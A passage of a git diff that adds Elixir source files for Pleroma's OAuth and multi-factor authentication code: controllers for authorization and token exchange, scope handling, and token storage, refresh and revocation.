alias Pleroma.Web.OAuth.MFAView, as: View + alias Pleroma.Web.OAuth.OAuthController + alias Pleroma.Web.OAuth.OAuthView + alias Pleroma.Web.OAuth.Token + + plug(:fetch_session when action in [:show, :verify]) + plug(:fetch_flash when action in [:show, :verify]) + + @doc """ + Display form to input mfa code or recovery code. + """ + def show(conn, %{"mfa_token" => mfa_token} = params) do + template = Map.get(params, "challenge_type", "totp") + + conn + |> put_view(View) + |> render("#{template}.html", %{ + mfa_token: mfa_token, + redirect_uri: params["redirect_uri"], + state: params["state"] + }) + end + + @doc """ + Verification code and continue authorization. + """ + def verify(conn, %{"mfa" => %{"mfa_token" => mfa_token} = mfa_params} = _) do + with {:ok, %{user: user, authorization: auth}} <- MFA.Token.validate(mfa_token), + {:ok, _} <- validates_challenge(user, mfa_params) do + conn + |> OAuthController.after_create_authorization(auth, %{ + "authorization" => %{ + "redirect_uri" => mfa_params["redirect_uri"], + "state" => mfa_params["state"] + } + }) + else + _ -> + conn + |> put_flash(:error, "Two-factor authentication failed.") + |> put_status(:unauthorized) + |> show(mfa_params) + end + end + + @doc """ + Verification second step of MFA (or recovery) and returns access token. + + ## Endpoint + POST /oauth/mfa/challenge + + params: + `client_id` + `client_secret` + `mfa_token` - access token to check second step of mfa + `challenge_type` - 'totp' or 'recovery' + `code` + + """ + def challenge(conn, %{"mfa_token" => mfa_token} = params) do + with {:ok, app} <- Token.Utils.fetch_app(conn), + {:ok, %{user: user, authorization: auth}} <- MFA.Token.validate(mfa_token), + {:ok, _} <- validates_challenge(user, params), + {:ok, token} <- Token.exchange_token(app, auth) do + json(conn, OAuthView.render("token.json", %{user: user, token: token})) + else + _error -> + conn + |> put_status(400) + |> json(%{error: "Invalid code"}) + end + end + + # Verify TOTP Code + defp validates_challenge(user, %{"challenge_type" => "totp", "code" => code} = _) do + TOTPAuthenticator.verify(code, user) + end + + # Verify Recovery Code + defp validates_challenge(user, %{"challenge_type" => "recovery", "code" => code} = _) do + TOTPAuthenticator.verify_recovery_code(user, code) + end + + defp validates_challenge(_, _), do: {:error, :unsupported_challenge_type} +end diff --git a/lib/pleroma/web/o_auth/mfa_view.ex b/lib/pleroma/web/o_auth/mfa_view.ex new file mode 100644 index 000000000..5d87db268 --- /dev/null +++ b/lib/pleroma/web/o_auth/mfa_view.ex @@ -0,0 +1,17 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.MFAView do + use Pleroma.Web, :view + import Phoenix.HTML.Form + alias Pleroma.MFA + + def render("mfa_response.json", %{token: token, user: user}) do + %{ + error: "mfa_required", + mfa_token: token.token, + supported_challenge_types: MFA.supported_methods(user) + } + end +end diff --git a/lib/pleroma/web/o_auth/o_auth_controller.ex b/lib/pleroma/web/o_auth/o_auth_controller.ex new file mode 100644 index 000000000..a4152e840 --- /dev/null +++ b/lib/pleroma/web/o_auth/o_auth_controller.ex @@ -0,0 +1,610 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.OAuthController do + use Pleroma.Web, :controller + + alias Pleroma.Helpers.UriHelper + alias Pleroma.Maps + alias Pleroma.MFA + alias Pleroma.Plugs.RateLimiter + alias Pleroma.Registration + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.Auth.Authenticator + alias Pleroma.Web.ControllerHelper + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.MFAController + alias Pleroma.Web.OAuth.MFAView + alias Pleroma.Web.OAuth.OAuthView + alias Pleroma.Web.OAuth.Scopes + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.OAuth.Token.Strategy.RefreshToken + alias Pleroma.Web.OAuth.Token.Strategy.Revoke, as: RevokeToken + + require Logger + + if Pleroma.Config.oauth_consumer_enabled?(), do: plug(Ueberauth) + + plug(:fetch_session) + plug(:fetch_flash) + + plug(:skip_plug, [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug]) + + plug(RateLimiter, [name: :authentication] when action == :create_authorization) + + action_fallback(Pleroma.Web.OAuth.FallbackController) + + @oob_token_redirect_uri "urn:ietf:wg:oauth:2.0:oob" + + # Note: this definition is only called from error-handling methods with `conn.params` as 2nd arg + def authorize(%Plug.Conn{} = conn, %{"authorization" => _} = params) do + {auth_attrs, params} = Map.pop(params, "authorization") + authorize(conn, Map.merge(params, auth_attrs)) + end + + def authorize(%Plug.Conn{assigns: %{token: %Token{}}} = conn, %{"force_login" => _} = params) do + if ControllerHelper.truthy_param?(params["force_login"]) do + do_authorize(conn, params) + else + handle_existing_authorization(conn, params) + end + end + + # Note: the token is set in oauth_plug, but the token and client do not always go together. + # For example, MastodonFE's token is set if user requests with another client, + # after user already authorized to MastodonFE. + # So we have to check client and token. + def authorize( + %Plug.Conn{assigns: %{token: %Token{} = token}} = conn, + %{"client_id" => client_id} = params + ) do + with %Token{} = t <- Repo.get_by(Token, token: token.token) |> Repo.preload(:app), + ^client_id <- t.app.client_id do + handle_existing_authorization(conn, params) + else + _ -> do_authorize(conn, params) + end + end + + def authorize(%Plug.Conn{} = conn, params), do: do_authorize(conn, params) + + defp do_authorize(%Plug.Conn{} = conn, params) do + app = Repo.get_by(App, client_id: params["client_id"]) + available_scopes = (app && app.scopes) || [] + scopes = Scopes.fetch_scopes(params, available_scopes) + + scopes = + if scopes == [] do + available_scopes + else + scopes + end + + # Note: `params` might differ from `conn.params`; use `@params` not `@conn.params` in template + render(conn, Authenticator.auth_template(), %{ + response_type: params["response_type"], + client_id: params["client_id"], + available_scopes: available_scopes, + scopes: scopes, + redirect_uri: params["redirect_uri"], + state: params["state"], + params: params + }) + end + + defp handle_existing_authorization( + %Plug.Conn{assigns: %{token: %Token{} = token}} = conn, + %{"redirect_uri" => @oob_token_redirect_uri} + ) do + render(conn, "oob_token_exists.html", %{token: token}) + end + + defp handle_existing_authorization( + %Plug.Conn{assigns: %{token: %Token{} = token}} = conn, + %{} = params + ) do + app = Repo.preload(token, :app).app + + redirect_uri = + if is_binary(params["redirect_uri"]) do + params["redirect_uri"] + else + default_redirect_uri(app) + end + + if redirect_uri in String.split(app.redirect_uris) do + redirect_uri = redirect_uri(conn, redirect_uri) + url_params = %{access_token: token.token} + url_params = Maps.put_if_present(url_params, :state, params["state"]) + url = UriHelper.modify_uri_params(redirect_uri, url_params) + redirect(conn, external: url) + else + conn + |> put_flash(:error, dgettext("errors", "Unlisted redirect_uri.")) + |> redirect(external: redirect_uri(conn, redirect_uri)) + end + end + + def create_authorization( + %Plug.Conn{} = conn, + %{"authorization" => _} = params, + opts \\ [] + ) do + with {:ok, auth, user} <- do_create_authorization(conn, params, opts[:user]), + {:mfa_required, _, _, false} <- {:mfa_required, user, auth, MFA.require?(user)} do + after_create_authorization(conn, auth, params) + else + error -> + handle_create_authorization_error(conn, error, params) + end + end + + def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ + "authorization" => %{"redirect_uri" => @oob_token_redirect_uri} + }) do + # Enforcing the view to reuse the template when calling from other controllers + conn + |> put_view(OAuthView) + |> render("oob_authorization_created.html", %{auth: auth}) + end + + def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ + "authorization" => %{"redirect_uri" => redirect_uri} = auth_attrs + }) do + app = Repo.preload(auth, :app).app + + # An extra safety measure before we redirect (also done in `do_create_authorization/2`) + if redirect_uri in String.split(app.redirect_uris) do + redirect_uri = redirect_uri(conn, redirect_uri) + url_params = %{code: auth.token} + url_params = Maps.put_if_present(url_params, :state, auth_attrs["state"]) + url = UriHelper.modify_uri_params(redirect_uri, url_params) + redirect(conn, external: url) + else + conn + |> put_flash(:error, dgettext("errors", "Unlisted redirect_uri.")) + |> redirect(external: redirect_uri(conn, redirect_uri)) + end + end + + defp handle_create_authorization_error( + %Plug.Conn{} = conn, + {:error, scopes_issue}, + %{"authorization" => _} = params + ) + when scopes_issue in [:unsupported_scopes, :missing_scopes] do + # Per https://github.com/tootsuite/mastodon/blob/ + # 51e154f5e87968d6bb115e053689767ab33e80cd/app/controllers/api/base_controller.rb#L39 + conn + |> put_flash(:error, dgettext("errors", "This action is outside the authorized scopes")) + |> put_status(:unauthorized) + |> authorize(params) + end + + defp handle_create_authorization_error( + %Plug.Conn{} = conn, + {:account_status, :confirmation_pending}, + %{"authorization" => _} = params + ) do + conn + |> put_flash(:error, dgettext("errors", "Your login is missing a confirmed e-mail address")) + |> put_status(:forbidden) + |> authorize(params) + end + + defp handle_create_authorization_error( + %Plug.Conn{} = conn, + {:mfa_required, user, auth, _}, + params + ) do + {:ok, token} = MFA.Token.create(user, auth) + + data = %{ + "mfa_token" => token.token, + "redirect_uri" => params["authorization"]["redirect_uri"], + "state" => params["authorization"]["state"] + } + + MFAController.show(conn, data) + end + + defp handle_create_authorization_error( + %Plug.Conn{} = conn, + {:account_status, :password_reset_pending}, + %{"authorization" => _} = params + ) do + conn + |> put_flash(:error, dgettext("errors", "Password reset is required")) + |> put_status(:forbidden) + |> authorize(params) + end + + defp handle_create_authorization_error( + %Plug.Conn{} = conn, + {:account_status, :deactivated}, + %{"authorization" => _} = params + ) do + conn + |> put_flash(:error, dgettext("errors", "Your account is currently disabled")) + |> put_status(:forbidden) + |> authorize(params) + end + + defp handle_create_authorization_error(%Plug.Conn{} = conn, error, %{"authorization" => _}) do + Authenticator.handle_error(conn, error) + end + + @doc "Renew access_token with refresh_token" + def token_exchange( + %Plug.Conn{} = conn, + %{"grant_type" => "refresh_token", "refresh_token" => token} = _params + ) do + with {:ok, app} <- Token.Utils.fetch_app(conn), + {:ok, %{user: user} = token} <- Token.get_by_refresh_token(app, token), + {:ok, token} <- RefreshToken.grant(token) do + json(conn, OAuthView.render("token.json", %{user: user, token: token})) + else + _error -> render_invalid_credentials_error(conn) + end + end + + def token_exchange(%Plug.Conn{} = conn, %{"grant_type" => "authorization_code"} = params) do + with {:ok, app} <- Token.Utils.fetch_app(conn), + fixed_token = Token.Utils.fix_padding(params["code"]), + {:ok, auth} <- Authorization.get_by_token(app, fixed_token), + %User{} = user <- User.get_cached_by_id(auth.user_id), + {:ok, token} <- Token.exchange_token(app, auth) do + json(conn, OAuthView.render("token.json", %{user: user, token: token})) + else + error -> + handle_token_exchange_error(conn, error) + end + end + + def token_exchange( + %Plug.Conn{} = conn, + %{"grant_type" => "password"} = params + ) do + with {:ok, %User{} = user} <- Authenticator.get_user(conn), + {:ok, app} <- Token.Utils.fetch_app(conn), + requested_scopes <- Scopes.fetch_scopes(params, app.scopes), + {:ok, token} <- login(user, app, requested_scopes) do + json(conn, OAuthView.render("token.json", %{user: user, token: token})) + else + error -> + handle_token_exchange_error(conn, error) + end + end + + def token_exchange( + %Plug.Conn{} = conn, + %{"grant_type" => "password", "name" => name, "password" => _password} = params + ) do + params = + params + |> Map.delete("name") + |> Map.put("username", name) + + token_exchange(conn, params) + end + + def token_exchange(%Plug.Conn{} = conn, %{"grant_type" => "client_credentials"} = _params) do + with {:ok, app} <- Token.Utils.fetch_app(conn), + {:ok, auth} <- Authorization.create_authorization(app, %User{}), + {:ok, token} <- Token.exchange_token(app, auth) do + json(conn, OAuthView.render("token.json", %{token: token})) + else + _error -> + handle_token_exchange_error(conn, :invalid_credentails) + end + end + + # Bad request + def token_exchange(%Plug.Conn{} = conn, params), do: bad_request(conn, params) + + defp handle_token_exchange_error(%Plug.Conn{} = conn, {:mfa_required, user, auth, _}) do + conn + |> put_status(:forbidden) + |> json(build_and_response_mfa_token(user, auth)) + end + + defp handle_token_exchange_error(%Plug.Conn{} = conn, {:account_status, :deactivated}) do + render_error( + conn, + :forbidden, + "Your account is currently disabled", + %{}, + "account_is_disabled" + ) + end + + defp handle_token_exchange_error( + %Plug.Conn{} = conn, + {:account_status, :password_reset_pending} + ) do + render_error( + conn, + :forbidden, + "Password reset is required", + %{}, + "password_reset_required" + ) + end + + defp handle_token_exchange_error(%Plug.Conn{} = conn, {:account_status, :confirmation_pending}) do + render_error( + conn, + :forbidden, + "Your login is missing a confirmed e-mail address", + %{}, + "missing_confirmed_email" + ) + end + + defp handle_token_exchange_error(%Plug.Conn{} = conn, {:account_status, :approval_pending}) do + render_error( + conn, + :forbidden, + "Your account is awaiting approval.", + %{}, + "awaiting_approval" + ) + end + + defp handle_token_exchange_error(%Plug.Conn{} = conn, _error) do + render_invalid_credentials_error(conn) + end + + def token_revoke(%Plug.Conn{} = conn, %{"token" => _token} = params) do + with {:ok, app} <- Token.Utils.fetch_app(conn), + {:ok, _token} <- RevokeToken.revoke(app, params) do + json(conn, %{}) + else + _error -> + # RFC 7009: invalid tokens [in the request] do not cause an error response + json(conn, %{}) + end + end + + def token_revoke(%Plug.Conn{} = conn, params), do: bad_request(conn, params) + + # Response for bad request + defp bad_request(%Plug.Conn{} = conn, _) do + render_error(conn, :internal_server_error, "Bad request") + end + + @doc "Prepares OAuth request to provider for Ueberauth" + def prepare_request(%Plug.Conn{} = conn, %{ + "provider" => provider, + "authorization" => auth_attrs + }) do + scope = + auth_attrs + |> Scopes.fetch_scopes([]) + |> Scopes.to_string() + + state = + auth_attrs + |> Map.delete("scopes") + |> Map.put("scope", scope) + |> Jason.encode!() + + params = + auth_attrs + |> Map.drop(~w(scope scopes client_id redirect_uri)) + |> Map.put("state", state) + + # Handing the request to Ueberauth + redirect(conn, to: o_auth_path(conn, :request, provider, params)) + end + + def request(%Plug.Conn{} = conn, params) do + message = + if params["provider"] do + dgettext("errors", "Unsupported OAuth provider: %{provider}.", + provider: params["provider"] + ) + else + dgettext("errors", "Bad OAuth request.") + end + + conn + |> put_flash(:error, message) + |> redirect(to: "/") + end + + def callback(%Plug.Conn{assigns: %{ueberauth_failure: failure}} = conn, params) do + params = callback_params(params) + messages = for e <- Map.get(failure, :errors, []), do: e.message + message = Enum.join(messages, "; ") + + conn + |> put_flash( + :error, + dgettext("errors", "Failed to authenticate: %{message}.", message: message) + ) + |> redirect(external: redirect_uri(conn, params["redirect_uri"])) + end + + def callback(%Plug.Conn{} = conn, params) do + params = callback_params(params) + + with {:ok, registration} <- Authenticator.get_registration(conn) do + auth_attrs = Map.take(params, ~w(client_id redirect_uri scope scopes state)) + + case Repo.get_assoc(registration, :user) do + {:ok, user} -> + create_authorization(conn, %{"authorization" => auth_attrs}, user: user) + + _ -> + registration_params = + Map.merge(auth_attrs, %{ + "nickname" => Registration.nickname(registration), + "email" => Registration.email(registration) + }) + + conn + |> put_session_registration_id(registration.id) + |> registration_details(%{"authorization" => registration_params}) + end + else + error -> + Logger.debug(inspect(["OAUTH_ERROR", error, conn.assigns])) + + conn + |> put_flash(:error, dgettext("errors", "Failed to set up user account.")) + |> redirect(external: redirect_uri(conn, params["redirect_uri"])) + end + end + + defp callback_params(%{"state" => state} = params) do + Map.merge(params, Jason.decode!(state)) + end + + def registration_details(%Plug.Conn{} = conn, %{"authorization" => auth_attrs}) do + render(conn, "register.html", %{ + client_id: auth_attrs["client_id"], + redirect_uri: auth_attrs["redirect_uri"], + state: auth_attrs["state"], + scopes: Scopes.fetch_scopes(auth_attrs, []), + nickname: auth_attrs["nickname"], + email: auth_attrs["email"] + }) + end + + def register(%Plug.Conn{} = conn, %{"authorization" => _, "op" => "connect"} = params) do + with registration_id when not is_nil(registration_id) <- get_session_registration_id(conn), + %Registration{} = registration <- Repo.get(Registration, registration_id), + {_, {:ok, auth, _user}} <- + {:create_authorization, do_create_authorization(conn, params)}, + %User{} = user <- Repo.preload(auth, :user).user, + {:ok, _updated_registration} <- Registration.bind_to_user(registration, user) do + conn + |> put_session_registration_id(nil) + |> after_create_authorization(auth, params) + else + {:create_authorization, error} -> + {:register, handle_create_authorization_error(conn, error, params)} + + _ -> + {:register, :generic_error} + end + end + + def register(%Plug.Conn{} = conn, %{"authorization" => _, "op" => "register"} = params) do + with registration_id when not is_nil(registration_id) <- get_session_registration_id(conn), + %Registration{} = registration <- Repo.get(Registration, registration_id), + {:ok, user} <- Authenticator.create_from_registration(conn, registration) do + conn + |> put_session_registration_id(nil) + |> create_authorization( + params, + user: user + ) + else + {:error, changeset} -> + message = + Enum.map(changeset.errors, fn {field, {error, _}} -> + "#{field} #{error}" + end) + |> Enum.join("; ") + + message = + String.replace( + message, + "ap_id has already been taken", + "nickname has already been taken" + ) + + conn + |> put_status(:forbidden) + |> put_flash(:error, "Error: #{message}.") + |> registration_details(params) + + _ -> + {:register, :generic_error} + end + end + + defp do_create_authorization(conn, auth_attrs, user \\ nil) + + defp do_create_authorization( + %Plug.Conn{} = conn, + %{ + "authorization" => + %{ + "client_id" => client_id, + "redirect_uri" => redirect_uri + } = auth_attrs + }, + user + ) do + with {_, {:ok, %User{} = user}} <- + {:get_user, (user && {:ok, user}) || Authenticator.get_user(conn)}, + %App{} = app <- Repo.get_by(App, client_id: client_id), + true <- redirect_uri in String.split(app.redirect_uris), + requested_scopes <- Scopes.fetch_scopes(auth_attrs, app.scopes), + {:ok, auth} <- do_create_authorization(user, app, requested_scopes) do + {:ok, auth, user} + end + end + + defp do_create_authorization(%User{} = user, %App{} = app, requested_scopes) + when is_list(requested_scopes) do + with {:account_status, :active} <- {:account_status, User.account_status(user)}, + {:ok, scopes} <- validate_scopes(app, requested_scopes), + {:ok, auth} <- Authorization.create_authorization(app, user, scopes) do + {:ok, auth} + end + end + + # Note: intended to be a private function but opened for AccountController that logs in on signup + @doc "If checks pass, creates authorization and token for given user, app and requested scopes." + def login(%User{} = user, %App{} = app, requested_scopes) when is_list(requested_scopes) do + with {:ok, auth} <- do_create_authorization(user, app, requested_scopes), + {:mfa_required, _, _, false} <- {:mfa_required, user, auth, MFA.require?(user)}, + {:ok, token} <- Token.exchange_token(app, auth) do + {:ok, token} + end + end + + # Special case: Local MastodonFE + defp redirect_uri(%Plug.Conn{} = conn, "."), do: auth_url(conn, :login) + + defp redirect_uri(%Plug.Conn{}, redirect_uri), do: redirect_uri + + defp get_session_registration_id(%Plug.Conn{} = conn), do: get_session(conn, :registration_id) + + defp put_session_registration_id(%Plug.Conn{} = conn, registration_id), + do: put_session(conn, :registration_id, registration_id) + + defp build_and_response_mfa_token(user, auth) do + with {:ok, token} <- MFA.Token.create(user, auth) do + MFAView.render("mfa_response.json", %{token: token, user: user}) + end + end + + @spec validate_scopes(App.t(), map() | list()) :: + {:ok, list()} | {:error, :missing_scopes | :unsupported_scopes} + defp validate_scopes(%App{} = app, params) when is_map(params) do + requested_scopes = Scopes.fetch_scopes(params, app.scopes) + validate_scopes(app, requested_scopes) + end + + defp validate_scopes(%App{} = app, requested_scopes) when is_list(requested_scopes) do + Scopes.validate(requested_scopes, app.scopes) + end + + def default_redirect_uri(%App{} = app) do + app.redirect_uris + |> String.split() + |> Enum.at(0) + end + + defp render_invalid_credentials_error(conn) do + render_error(conn, :bad_request, "Invalid credentials") + end +end diff --git a/lib/pleroma/web/o_auth/o_auth_view.ex b/lib/pleroma/web/o_auth/o_auth_view.ex new file mode 100644 index 000000000..f55247ebd --- /dev/null +++ b/lib/pleroma/web/o_auth/o_auth_view.ex @@ -0,0 +1,30 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.OAuthView do + use Pleroma.Web, :view + import Phoenix.HTML.Form + + alias Pleroma.Web.OAuth.Token.Utils + + def render("token.json", %{token: token} = opts) do + response = %{ + token_type: "Bearer", + access_token: token.token, + refresh_token: token.refresh_token, + expires_in: expires_in(), + scope: Enum.join(token.scopes, " "), + created_at: Utils.format_created_at(token) + } + + if user = opts[:user] do + response + |> Map.put(:me, user.ap_id) + else + response + end + end + + defp expires_in, do: Pleroma.Config.get([:oauth2, :token_expires_in], 600) +end diff --git a/lib/pleroma/web/o_auth/scopes.ex b/lib/pleroma/web/o_auth/scopes.ex new file mode 100644 index 000000000..6f06f1431 --- /dev/null +++ b/lib/pleroma/web/o_auth/scopes.ex @@ -0,0 +1,76 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Scopes do + @moduledoc """ + Functions for dealing with scopes. + """ + + alias Pleroma.Plugs.OAuthScopesPlug + + @doc """ + Fetch scopes from request params. + + Note: `scopes` is used by Mastodon — supporting it but sticking to + OAuth's standard `scope` wherever we control it + """ + @spec fetch_scopes(map() | struct(), list()) :: list() + + def fetch_scopes(params, default) do + parse_scopes(params["scope"] || params["scopes"] || params[:scopes], default) + end + + def parse_scopes(scopes, _default) when is_list(scopes) do + Enum.filter(scopes, &(&1 not in [nil, ""])) + end + + def parse_scopes(scopes, default) when is_binary(scopes) do + scopes + |> to_list + |> parse_scopes(default) + end + + def parse_scopes(_, default) do + default + end + + @doc """ + Convert scopes string to list + """ + @spec to_list(binary()) :: [binary()] + def to_list(nil), do: [] + + def to_list(str) do + str + |> String.trim() + |> String.split(~r/[\s,]+/) + end + + @doc """ + Convert scopes list to string + """ + @spec to_string(list()) :: binary() + def to_string(scopes), do: Enum.join(scopes, " ") + + @doc """ + Validates scopes. + """ + @spec validate(list() | nil, list()) :: + {:ok, list()} | {:error, :missing_scopes | :unsupported_scopes} + def validate(blank_scopes, _app_scopes) when blank_scopes in [nil, []], + do: {:error, :missing_scopes} + + def validate(scopes, app_scopes) do + case OAuthScopesPlug.filter_descendants(scopes, app_scopes) do + ^scopes -> {:ok, scopes} + _ -> {:error, :unsupported_scopes} + end + end + + def contains_admin_scopes?(scopes) do + scopes + |> OAuthScopesPlug.filter_descendants(["admin"]) + |> Enum.any?() + end +end diff --git a/lib/pleroma/web/o_auth/token.ex b/lib/pleroma/web/o_auth/token.ex new file mode 100644 index 000000000..de37998f2 --- /dev/null +++ b/lib/pleroma/web/o_auth/token.ex @@ -0,0 +1,135 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token do + use Ecto.Schema + + import Ecto.Changeset + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.OAuth.Token.Query + + @type t :: %__MODULE__{} + + schema "oauth_tokens" do + field(:token, :string) + field(:refresh_token, :string) + field(:scopes, {:array, :string}, default: []) + field(:valid_until, :naive_datetime_usec) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:app, App) + + timestamps() + end + + @doc "Gets token for app by access token" + @spec get_by_token(App.t(), String.t()) :: {:ok, t()} | {:error, :not_found} + def get_by_token(%App{id: app_id} = _app, token) do + Query.get_by_app(app_id) + |> Query.get_by_token(token) + |> Repo.find_resource() + end + + @doc "Gets token for app by refresh token" + @spec get_by_refresh_token(App.t(), String.t()) :: {:ok, t()} | {:error, :not_found} + def get_by_refresh_token(%App{id: app_id} = _app, token) do + Query.get_by_app(app_id) + |> Query.get_by_refresh_token(token) + |> Query.preload([:user]) + |> Repo.find_resource() + end + + @spec exchange_token(App.t(), Authorization.t()) :: {:ok, Token.t()} | {:error, Changeset.t()} + def exchange_token(app, auth) do + with {:ok, auth} <- Authorization.use_token(auth), + true <- auth.app_id == app.id do + user = if auth.user_id, do: User.get_cached_by_id(auth.user_id), else: %User{} + + create( + app, + user, + %{scopes: auth.scopes} + ) + end + end + + defp put_token(changeset) do + changeset + |> change(%{token: Token.Utils.generate_token()}) + |> validate_required([:token]) + |> unique_constraint(:token) + end + + defp put_refresh_token(changeset, attrs) do + refresh_token = Map.get(attrs, :refresh_token, Token.Utils.generate_token()) + + changeset + |> change(%{refresh_token: refresh_token}) + |> validate_required([:refresh_token]) + |> unique_constraint(:refresh_token) + end + + defp put_valid_until(changeset, attrs) do + expires_in = + Map.get(attrs, :valid_until, NaiveDateTime.add(NaiveDateTime.utc_now(), expires_in())) + + changeset + |> change(%{valid_until: expires_in}) + |> validate_required([:valid_until]) + end + + @spec create(App.t(), User.t(), map()) :: {:ok, Token} | {:error, Changeset.t()} + def create(%App{} = app, %User{} = user, attrs \\ %{}) do + with {:ok, token} <- do_create(app, user, attrs) do + if Pleroma.Config.get([:oauth2, :clean_expired_tokens]) do + Pleroma.Workers.PurgeExpiredToken.enqueue(%{ + token_id: token.id, + valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC"), + mod: __MODULE__ + }) + end + + {:ok, token} + end + end + + defp do_create(app, user, attrs) do + %__MODULE__{user_id: user.id, app_id: app.id} + |> cast(%{scopes: attrs[:scopes] || app.scopes}, [:scopes]) + |> validate_required([:scopes, :app_id]) + |> put_valid_until(attrs) + |> put_token() + |> put_refresh_token(attrs) + |> Repo.insert() + end + + def delete_user_tokens(%User{id: user_id}) do + Query.get_by_user(user_id) + |> Repo.delete_all() + end + + def delete_user_token(%User{id: user_id}, token_id) do + Query.get_by_user(user_id) + |> Query.get_by_id(token_id) + |> Repo.delete_all() + end + + def get_user_tokens(%User{id: user_id}) do + Query.get_by_user(user_id) + |> Query.preload([:app]) + |> Repo.all() + end + + def is_expired?(%__MODULE__{valid_until: valid_until}) do + NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) > 0 + end + + def is_expired?(_), do: false + + defp expires_in, do: Pleroma.Config.get([:oauth2, :token_expires_in], 600) +end diff --git a/lib/pleroma/web/o_auth/token/query.ex b/lib/pleroma/web/o_auth/token/query.ex new file mode 100644 index 000000000..fd6d9b112 --- /dev/null +++ b/lib/pleroma/web/o_auth/token/query.ex @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token.Query do + @moduledoc """ + Contains queries for OAuth Token. + """ + + import Ecto.Query, only: [from: 2] + + @type query :: Ecto.Queryable.t() | Token.t() + + alias Pleroma.Web.OAuth.Token + + @spec get_by_refresh_token(query, String.t()) :: query + def get_by_refresh_token(query \\ Token, refresh_token) do + from(q in query, where: q.refresh_token == ^refresh_token) + end + + @spec get_by_token(query, String.t()) :: query + def get_by_token(query \\ Token, token) do + from(q in query, where: q.token == ^token) + end + + @spec get_by_app(query, String.t()) :: query + def get_by_app(query \\ Token, app_id) do + from(q in query, where: q.app_id == ^app_id) + end + + @spec get_by_id(query, String.t()) :: query + def get_by_id(query \\ Token, id) do + from(q in query, where: q.id == ^id) + end + + @spec get_by_user(query, String.t()) :: query + def get_by_user(query \\ Token, user_id) do + from(q in query, where: q.user_id == ^user_id) + end + + @spec preload(query, any) :: query + def preload(query \\ Token, assoc_preload \\ []) + + def preload(query, assoc_preload) when is_list(assoc_preload) do + from(q in query, preload: ^assoc_preload) + end + + def preload(query, _assoc_preload), do: query +end diff --git a/lib/pleroma/web/o_auth/token/strategy/refresh_token.ex b/lib/pleroma/web/o_auth/token/strategy/refresh_token.ex new file mode 100644 index 000000000..625b0fde2 --- /dev/null +++ b/lib/pleroma/web/o_auth/token/strategy/refresh_token.ex @@ -0,0 +1,58 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token.Strategy.RefreshToken do + @moduledoc """ + Functions for dealing with refresh token strategy. + """ + + alias Pleroma.Config + alias Pleroma.Repo + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.OAuth.Token.Strategy.Revoke + + @doc """ + Will grant access token by refresh token. + """ + @spec grant(Token.t()) :: {:ok, Token.t()} | {:error, any()} + def grant(token) do + access_token = Repo.preload(token, [:user, :app]) + + result = + Repo.transaction(fn -> + token_params = %{ + app: access_token.app, + user: access_token.user, + scopes: access_token.scopes + } + + access_token + |> revoke_access_token() + |> create_access_token(token_params) + end) + + case result do + {:ok, {:error, reason}} -> {:error, reason} + {:ok, {:ok, token}} -> {:ok, token} + {:error, reason} -> {:error, reason} + end + end + + defp revoke_access_token(token) do + Revoke.revoke(token) + end + + defp create_access_token({:error, error}, _), do: {:error, error} + + defp create_access_token({:ok, token}, %{app: app, user: user} = token_params) do + Token.create(app, user, add_refresh_token(token_params, token.refresh_token)) + end + + defp add_refresh_token(params, token) do + case Config.get([:oauth2, :issue_new_refresh_token], false) do + true -> Map.put(params, :refresh_token, token) + false -> params + end + end +end diff --git a/lib/pleroma/web/o_auth/token/strategy/revoke.ex b/lib/pleroma/web/o_auth/token/strategy/revoke.ex new file mode 100644 index 000000000..069c1ee21 --- /dev/null +++ b/lib/pleroma/web/o_auth/token/strategy/revoke.ex @@ -0,0 +1,26 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token.Strategy.Revoke do + @moduledoc """ + Functions for dealing with revocation. + """ + + alias Pleroma.Repo + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Token + + @doc "Finds and revokes access token for app and by token" + @spec revoke(App.t(), map()) :: {:ok, Token.t()} | {:error, :not_found | Ecto.Changeset.t()} + def revoke(%App{} = app, %{"token" => token} = _attrs) do + with {:ok, token} <- Token.get_by_token(app, token), + do: revoke(token) + end + + @doc "Revokes access token" + @spec revoke(Token.t()) :: {:ok, Token.t()} | {:error, Ecto.Changeset.t()} + def revoke(%Token{} = 